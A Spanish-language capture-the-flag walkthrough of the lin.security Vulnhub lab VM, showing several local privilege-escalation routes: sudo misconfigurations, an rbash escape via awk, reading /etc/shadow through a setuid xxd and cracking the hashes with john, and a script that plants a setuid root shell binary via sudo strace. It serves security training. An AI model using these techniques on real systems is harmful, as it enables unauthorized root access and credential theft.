Descripción
Desde in.security queríamos desarrollar una máquina virtual basada en Linux, en este caso, una distribución actualizada de Ubuntu (18.04 LTS). Pero sufre una serie de vulnerabilidades que permiten a un usuario escalar privilegios para conseguir root.
Esto se ha diseñado para ayudar a comprender cómo un atacante puede abusar de ciertas aplicaciones y servicios incorporados si se configuran incorrectamente.
Hemos configurado la maquina para simular vulnerabilidades del mundo real (aunque en un solo host) que lo ayudará a perfeccionar sus habilidades, técnicas y conjuntos de herramientas para la escalada de privilegios local.
Hay una serie de desafíos que van desde el nivel bastante fácil hasta el nivel intermedio y nos entusiasma ver los métodos que utiliza para resolverlos.
La imagen tiene menos de 1,7 GB y se puede descargar utilizando el enlace de arriba. Al abrir el archivo OVA, una máquina virtual llamada lin.security se importará y configurará con un adaptador NAT, pero se puede cambiar a través de las preferencias de su plataforma de virtualización preferida.
Para comenzar, puede iniciar sesión en el host con las credenciales: bob / secret
Indice
Descarga
[Vulnhub] https://www.vulnhub.com/entry/linsecurity-1,244/
[Mirror 1] https://in.security/downloads/lin.security_v1.0.ova
[Mirror 2] https://download.vulnhub.com/linsecurity/lin.security_v1.0.ova
[Mirror 3] https://download.vulnhub.com/linsecurity/lin.security_v1.0.ova.torrent
Introducción
Esta VM no es secuencial, no hay una prueba llevándote a otra y a la siguiente, por contra, tenemos muchas opciones para conseguir root, distintos usuarios y diferentes técnicas para explotar una escalada de privilegios. Voy a exponer las que me he ido encontrando y estoy seguro de que dejo alguna en el camino.
Walkthrough
Bob
Como bien dice la descripción de la maquina, lo primero que haremos será conectarnos a la maquina por ssh con las credenciales bob / secret
1 2 3 4 5 6 7 8 9 10 11 12 13 |
bob@192.168.1.138's password: ██╗ ██╗███╗ ██╗ ███████╗███████╗ ██████╗██╗ ██╗██████╗ ██╗████████╗██╗ ██╗ ██║ ██║████╗ ██║ ██╔════╝██╔════╝██╔════╝██║ ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝ ██║ ██║██╔██╗ ██║ ███████╗█████╗ ██║ ██║ ██║██████╔╝██║ ██║ ╚████╔╝ ██║ ██║██║╚██╗██║ ╚════██║██╔══╝ ██║ ██║ ██║██╔══██╗██║ ██║ ╚██╔╝ ███████╗██║██║ ╚████║██╗███████║███████╗╚██████╗╚██████╔╝██║ ██║██║ ██║ ██║ ╚══════╝╚═╝╚═╝ ╚═══╝╚═╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ Welcome to lin.security | https://in.security | version 1.0 bob@linsecurity:~$ id;uname -a uid=1000(bob) gid=1004(bob) groups=1004(bob) Linux linsecurity 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux |
1 2 3 4 5 6 7 8 9 10 11 12 |
bob@linsecurity:~$ sudo -l [sudo] password for bob: Matching Defaults entries for bob on linsecurity: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User bob may run the following commands on linsecurity: (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp bob@linsecurity:~$ sudo -s root@linsecurity:~# id uid=0(root) gid=0(root) groups=0(root) |
oh wait!! Estamos en el sudoers con todos los privilegios, demasiado fácil. Salgamos y sigamos buscando en la maquina otras formas de escalar privilegios..
buscamos en /home
1 2 3 4 5 6 7 |
bob@linsecurity:~$ ls -alt /home/ total 20 drwxr-xr-x 2 susan susan 4096 Jul 14 23:18 susan drwxr-xr-x 4 bob bob 4096 Jul 14 23:04 bob drwxr-xr-x 5 peter peter 4096 Jul 10 19:49 peter drwxr-xr-x 23 root root 4096 Jul 10 08:04 .. drwxr-xr-x 5 root root 4096 Jul 9 19:58 . |
hay tres usuarios, sigamos buscando mas a fondo. Usaremos ls para listar recursivamente en todos los directorios, con la opcion -a para mostrar archivos ocultos, no queremos perdernos nada..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
bob@linsecurity:~$ ls -alR /home /home: total 20 drwxr-xr-x 5 root root 4096 Jul 9 19:58 . drwxr-xr-x 23 root root 4096 Jul 10 08:04 .. drwxr-xr-x 4 bob bob 4096 Jul 14 23:04 bob drwxr-xr-x 5 peter peter 4096 Jul 10 19:49 peter drwxr-xr-x 2 susan susan 4096 Jul 10 08:04 susan /home/bob: total 32 drwxr-xr-x 4 bob bob 4096 Jul 14 23:04 . drwxr-xr-x 5 root root 4096 Jul 9 19:58 .. -rw------- 1 root root 14 Jul 14 23:04 .bash_history -rw-r--r-- 1 bob bob 220 Apr 4 18:30 .bash_logout -rw-r--r-- 1 bob bob 3771 Apr 4 18:30 .bashrc drwx------ 2 bob bob 4096 Jul 9 19:48 .cache -rw-rw-r-- 1 bob bob 0 Jul 9 19:48 .cloud-locale-test.skip drwx------ 3 bob bob 4096 Jul 9 19:48 .gnupg -rw-r--r-- 1 bob bob 807 Apr 4 18:30 .profile /home/bob/.cache: total 8 drwx------ 2 bob bob 4096 Jul 9 19:48 . drwxr-xr-x 4 bob bob 4096 Jul 14 23:04 .. -rw-r--r-- 1 bob bob 0 Jul 9 19:48 motd.legal-displayed /home/bob/.gnupg: total 12 drwx------ 3 bob bob 4096 Jul 9 19:48 . drwxr-xr-x 4 bob bob 4096 Jul 14 23:04 .. drwx------ 2 bob bob 4096 Jul 9 19:48 private-keys-v1.d /home/bob/.gnupg/private-keys-v1.d: total 8 drwx------ 2 bob bob 4096 Jul 9 19:48 . drwx------ 3 bob bob 4096 Jul 9 19:48 .. /home/peter: total 32 drwxr-xr-x 5 peter peter 4096 Jul 10 19:49 . drwxr-xr-x 5 root root 4096 Jul 9 19:58 .. -rw-r--r-- 1 peter peter 220 Jul 9 19:53 .bash_logout -rw-r--r-- 1 peter peter 3771 Jul 9 19:53 .bashrc drwx------ 2 peter peter 4096 Jul 10 10:04 .cache -rw-rw-r-- 1 peter peter 0 Jul 10 10:04 .cloud-locale-test.skip drwx------ 3 peter peter 4096 Jul 10 10:04 .gnupg drwxrwxr-x 3 peter peter 4096 Jul 10 08:03 .local -rw-r--r-- 1 peter peter 807 Jul 9 19:53 .profile ls: cannot open directory '/home/peter/.cache': Permission denied ls: cannot open directory '/home/peter/.gnupg': Permission denied /home/peter/.local: total 12 drwxrwxr-x 3 peter peter 4096 Jul 10 08:03 . drwxr-xr-x 5 peter peter 4096 Jul 10 19:49 .. drwx------ 3 peter peter 4096 Jul 10 08:03 share ls: cannot open directory '/home/peter/.local/share': Permission denied /home/susan: total 24 drwxr-xr-x 2 susan susan 4096 Jul 10 08:04 . drwxr-xr-x 5 root root 4096 Jul 9 19:58 .. -rw-r--r-- 1 susan susan 220 Jul 9 19:58 .bash_logout -rw-r--r-- 1 susan susan 3771 Jul 9 19:58 .bashrc -rw-r--r-- 1 susan susan 807 Jul 9 19:58 .profile -rw-r--r-- 1 susan susan 20 Jul 9 19:57 .secret |
tenemos un archivo llamado «.secret» en la carpeta de susan.. veámoslo!
1 2 |
bob@linsecurity:~$ cat /home/susan/.secret MySuperS3cretValue! |
¡Es la pass del usuario susan! vamos a logearnos y seguimos buscando otros métodos de explotación.
Susan
1 2 3 4 5 6 |
bob@linsecurity:~$ su susan Password: susan@linsecurity:/home/bob$ id uid=1002(susan) gid=1006(susan) groups=1006(susan),1007(itservices) susan@linsecurity:/home/bob$ cd $HOME rbash: cd: restricted |
ouch! parece ser que estamos en una shell restringida y no tenemos disponibles todos los comandos del sistema, investiguemos un poco..
https://en.wikipedia.org/wiki/Restricted_shell
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
http://securebean.blogspot.com/2014/05/escaping-restricted-shell_3.html
Después de probar varios métodos, uso awk para invocar /bin/bash y obtengo una shell sin restricciones.
1 2 3 4 5 6 7 8 |
susan@linsecurity:/home/bob$ echo $BASH /bin/rbash susan@linsecurity:/home/bob$ awk 'BEGIN {system("/bin/bash")}' susan@linsecurity:/home/bob$ echo $BASH /bin/bash susan@linsecurity:/home/bob$ cd $HOME susan@linsecurity:~$ pwd /home/susan |
Ahora podemos buscar métodos para escalar privilegios con susan, buscamos archivos setuideados en el sistema y…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
susan@linsecurity:~$ ls -alt `find / -perm -4000 -type f 2>/dev/null` |grep -v snap -rwsr-xr-x 1 root root 80056 Jun 5 21:05 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 43088 May 16 10:41 /bin/mount -rwsr-xr-x 1 root root 26696 May 16 10:41 /bin/umount -rwsr-sr-x 1 root root 30800 May 16 10:41 /usr/bin/taskset -rwsr-x--- 1 root itservices 18552 Apr 10 21:31 /usr/bin/xxd -rwsr-xr-x 1 root root 22520 Mar 27 12:50 /usr/bin/pkexec -rwsr-xr-x 1 root root 14328 Mar 27 12:50 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 06:59 /usr/bin/at -rwsr-xr-x 1 root root 436552 Feb 10 02:31 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 44664 Jan 25 15:09 /bin/su -rwsr-xr-x 1 root root 76496 Jan 25 15:09 /usr/bin/chfn -rwsr-xr-x 1 root root 44528 Jan 25 15:09 /usr/bin/chsh -rwsr-xr-x 1 root root 75824 Jan 25 15:09 /usr/bin/gpasswd -rwsr-xr-x 1 root root 37136 Jan 25 15:09 /usr/bin/newgidmap -rwsr-xr-x 1 root root 40344 Jan 25 15:09 /usr/bin/newgrp -rwsr-xr-x 1 root root 37136 Jan 25 15:09 /usr/bin/newuidmap -rwsr-xr-x 1 root root 59640 Jan 25 15:09 /usr/bin/passwd -rwsr-xr-x 1 root root 149080 Jan 18 00:08 /usr/bin/sudo -rwsr-xr-x 1 root root 113336 Jan 16 22:49 /sbin/mount.nfs -rwsr-xr-x 1 root root 146128 Nov 30 2017 /bin/ntfs-3g -rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils -rwsr-xr-x 1 root root 22728 Oct 27 2016 /usr/bin/netkit-rcp -rwsr-xr-x 1 root root 18640 Oct 27 2016 /usr/bin/netkit-rlogin -rwsr-xr-x 1 root root 14504 Oct 27 2016 /usr/bin/netkit-rsh -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount |
Wow! tenemos el binario /usr/bin/xxd con permisos para nuestro grupo «itservices«. Repasemos el comando xxd
http://wiki.christophchamp.com/index.php?title=Xxd
Este comando escupirá un hexdump del archivo que le pasemos y también puede hacerlo al revés, convertir un dump en un archivo original. Sabiendo esto, podemos utilizar xxd para leer cualquier archivo, y como está «setuid» , podremos hacerlo con permisos de root. Probémoslo!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
susan@linsecurity:~$ xxd /etc/shadow | xxd -r root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7::: daemon:*:17647:0:99999:7::: bin:*:17647:0:99999:7::: sys:*:17647:0:99999:7::: sync:*:17647:0:99999:7::: games:*:17647:0:99999:7::: man:*:17647:0:99999:7::: lp:*:17647:0:99999:7::: mail:*:17647:0:99999:7::: news:*:17647:0:99999:7::: uucp:*:17647:0:99999:7::: proxy:*:17647:0:99999:7::: www-data:*:17647:0:99999:7::: backup:*:17647:0:99999:7::: list:*:17647:0:99999:7::: irc:*:17647:0:99999:7::: gnats:*:17647:0:99999:7::: nobody:*:17647:0:99999:7::: systemd-network:*:17647:0:99999:7::: systemd-resolve:*:17647:0:99999:7::: syslog:*:17647:0:99999:7::: messagebus:*:17647:0:99999:7::: _apt:*:17647:0:99999:7::: lxd:*:17647:0:99999:7::: uuidd:*:17647:0:99999:7::: dnsmasq:*:17647:0:99999:7::: landscape:*:17647:0:99999:7::: pollinate:*:17647:0:99999:7::: sshd:*:17647:0:99999:7::: bob:$6$Kk0DA.6Xha4nL2p5$jq7qoit2l4ckULg1ZxcbL5wUz2Ld2ZUa.RYaIMs.Lma0EFGheX9yCXfKy37K0GsHz50FYIqIESo4QXWL.DYTI0:17721:0:99999:7::: statd:*:17721:0:99999:7::: peter:$6$QpjS4vUG$Zi1KcJ7cRB8TJG9A/x7GhQQvJ0RoYwG4Jxj/6R58SJddU2X/QTQKNJWzwiByeTELKeyp0vS83kPsYITbTTmlb0:17721:0:99999:7::: susan:$6$5oSmml7K$0joeavcuzw4qxDJ2LsD1ablUIrFhycVoIXL3rxN/3q2lVpQOKLufta5tqMRIh30Gb32IBp5yZ7XvBR6uX9/SR/:17721:0:99999:7::: |
Perfecto! Voy a copiar el archivo /etc/passwd y el archivo /etc/shadow y voy a hacer bruteforce desde kali linux, usando como wordlist el archifamoso rockyou.txt
1 2 |
root@kali:~/writeups/linsecurity# unshadow passwd shadow > crackeame root@kali:~/writeups/linsecurity# john --wordlist=rockyou.txt crackeame |
Despues de un rato obtenemos..
1 2 3 4 5 6 |
# john --show crackeame root:secret123:0:0:root:/root:/bin/bash bob:secret:1000:1004:bob:/home/bob:/bin/bash insecurity:P@ssw0rd:0:0::/:/bin/sh 3 password hashes cracked, 1 left |
bien! tenemos la pass de root y tenemos la pass del usuario insecurity (que tambien tiene uid0)
1 2 3 4 5 6 7 8 9 10 11 |
susan@linsecurity:~$ su Password: secret123 root@linsecurity:/home/susan# id uid=0(root) gid=0(root) groups=0(root) root@linsecurity:/home/susan# exit exit susan@linsecurity:~$ su insecurity Password: P@ssw0rd # id uid=0(root) gid=0(root) groups=0(root) # exit |
Peter
Nos logueamos como peter y buscamos permisos en sudo
1 2 3 4 5 6 |
peter@linsecurity:~$ sudo -l Matching Defaults entries for peter on linsecurity: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User peter may run the following commands on linsecurity: (ALL) NOPASSWD: /usr/bin/strace |
Bien! Estamos en el sudoers y podemos usar strace sin contraseña con permisos de root! repasemos un poco :
http://rm-rf.es/debug-de-procesos-en-gnulinux-con-strace/
Con strace podremos ejecutar cualquier binario y ver la salida a bajo nivel y lo podemos hacer con permisos de root a través de sudo, vamos a probarlo!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
peter@linsecurity:~$ sudo strace id execve("/usr/bin/id", ["id"], 0x7ffde2b68ae0 /* 14 vars */) = 0 brk(NULL) = 0x5587bfb4c000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) .. ... ..... munmap(0x7f1a714f6000, 802) = 0 close(3) = 0 write(1, "uid=0(root) gid=0(root) groups=0"..., 39uid=0(root) gid=0(root) groups=0(root) ) = 39 close(1) = 0 close(2) = 0 exit_group(0) = ? +++ exited with 0 +++ |
funciona! it’s work! nos ha devuelto el usuario root al introducir «id». ¿Como podemos obtener una shell con permisos de root? si ejecutamos directamente sudo strace /bin/bash nos va a dar toda la salida debugeada y no nos sirve. Voy a tirar de mi vieja «sushi» , un pequeño .c para invocar una shell y al que le daremos setuid para que podamos llamarlo desde nuestro usuario peter con permisos de root.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
#!/bin/bash #sushi cat << EOF > sushi.c #include <sys/types.h> #include <unistd.h> #include <stdlib.h> #include <stdlib.h> #include <stdio.h> int main(void) { uid_t uid, euid; uid = getuid(); euid = geteuid(); setreuid(euid, euid); system("/bin/bash"); return 0; } EOF gcc sushi.c -o sushi chown root sushi chmod a+rx sushi chmod u+s sushi rm -rf sushi.c |
y lo llamamos con strace desde sudo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
peter@linsecurity:~$ sudo strace ./sushi.sh execve("./sushi.sh", ["./sushi.sh"], 0x7ffc1fd60c60 /* 14 vars */) = 0 brk(NULL) = 0x55c552249000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 .. ... .... rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 exit_group(0) = ? +++ exited with 0 +++ peter@linsecurity:~$ ./sushi root@linsecurity:~# id uid=0(root) gid=1005(peter) groups=1005(peter),999(docker) root@linsecurity:~# |
Conclusiones
Estos han sido unos métodos sencillos para escalar privilegios, pero esta vm esconde muchos mas. Te animo a buscarlos y compartirlos.
Enjoy Hacking!